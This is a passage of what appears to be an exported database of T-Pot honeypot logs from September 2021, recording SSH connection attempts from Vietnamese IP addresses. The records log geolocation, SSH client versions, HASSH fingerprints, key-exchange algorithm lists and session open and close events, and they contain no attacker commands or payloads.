"SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 43380, "dest_port": 22, "timestamp": "2021-09-20T11:09:04.209195", "@timestamp": "2021-09-20T11:09:04.209Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24737	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:04.846931+03	2021-09-20 14:15:09.184471+03	{"_id": "dQblAnwBvYTbRNuEKhV7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "84854aca4931", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:04.846931Z", "@timestamp": "2021-09-20T11:09:04.846Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24727	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:09:04.705617+03	2021-09-20 14:15:09.170473+03	{"_id": "WgblAnwBvYTbRNuEKRXa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 38578, "dest_port": 22, "timestamp": "2021-09-20T11:09:04.705617", "@timestamp": "2021-09-20T11:09:04.705Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24728	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:04.381387+03	2021-09-20 14:15:09.171472+03	{"_id": "XAblAnwBvYTbRNuEKRXd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 38578, "timestamp": "2021-09-20T11:09:04.381387", "@timestamp": "2021-09-20T11:09:04.381Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24729	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:04.7632+03	2021-09-20 14:15:09.173472+03	{"_id": "XQblAnwBvYTbRNuEKhV7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:50802 (192.168.176.2:22) [session: 84854aca4931]", "session": "84854aca4931", "@version": "1", "protocol": "ssh", "src_port": 50802, "dest_port": 22, "timestamp": "2021-09-20T11:09:04.763200Z", "@timestamp": "2021-09-20T11:09:04.763Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24730	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:09:05.246884+03	2021-09-20 14:15:09.174472+03	{"_id": "XgblAnwBvYTbRNuEKhV7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:38890 (192.168.176.2:22) [session: 8383258ac43a]", "session": "8383258ac43a", "@version": "1", "protocol": "ssh", "src_port": 38890, "dest_port": 22, "timestamp": "2021-09-20T11:09:05.246884Z", "@timestamp": "2021-09-20T11:09:05.246Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24731	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:05.298291+03	2021-09-20 14:15:09.1755+03	{"_id": "XwblAnwBvYTbRNuEKhV7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:57182 (192.168.176.2:22) [session: 89e4a9c823dc]", "session": "89e4a9c823dc", "@version": "1", "protocol": "ssh", "src_port": 57182, "dest_port": 22, "timestamp": "2021-09-20T11:09:05.298291Z", "@timestamp": "2021-09-20T11:09:05.298Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24732	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:09:04.421896+03	2021-09-20 14:15:09.1775+03	{"_id": "cAblAnwBvYTbRNuEKhV7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "7daf9953965f", "@version": "1", "timestamp": "2021-09-20T11:09:04.421896Z", "@timestamp": "2021-09-20T11:09:04.421Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24733	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:04.457598+03	2021-09-20 14:15:09.1785+03	{"_id": "cQblAnwBvYTbRNuEKhV7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "93b180aa17df", "@version": "1", "timestamp": "2021-09-20T11:09:04.457598Z", "@timestamp": "2021-09-20T11:09:04.457Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24734	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:04.539672+03	2021-09-20 14:15:09.179471+03	{"_id": "cgblAnwBvYTbRNuEKhV7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "86a6ff5a38c1", "@version": "1", "duration": 2.5851259231567383, "timestamp": "2021-09-20T11:09:04.539672Z", "@timestamp": "2021-09-20T11:09:04.539Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24735	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:04.701093+03	2021-09-20 14:15:09.181471+03	{"_id": "cwblAnwBvYTbRNuEKhV7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "68579d5a0ba7", "@version": "1", "duration": 2.6480965614318848, "timestamp": "2021-09-20T11:09:04.701093Z", "@timestamp": "2021-09-20T11:09:04.701Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24736	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:04.70578+03	2021-09-20 14:15:09.182474+03	{"_id": "dAblAnwBvYTbRNuEKhV7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", 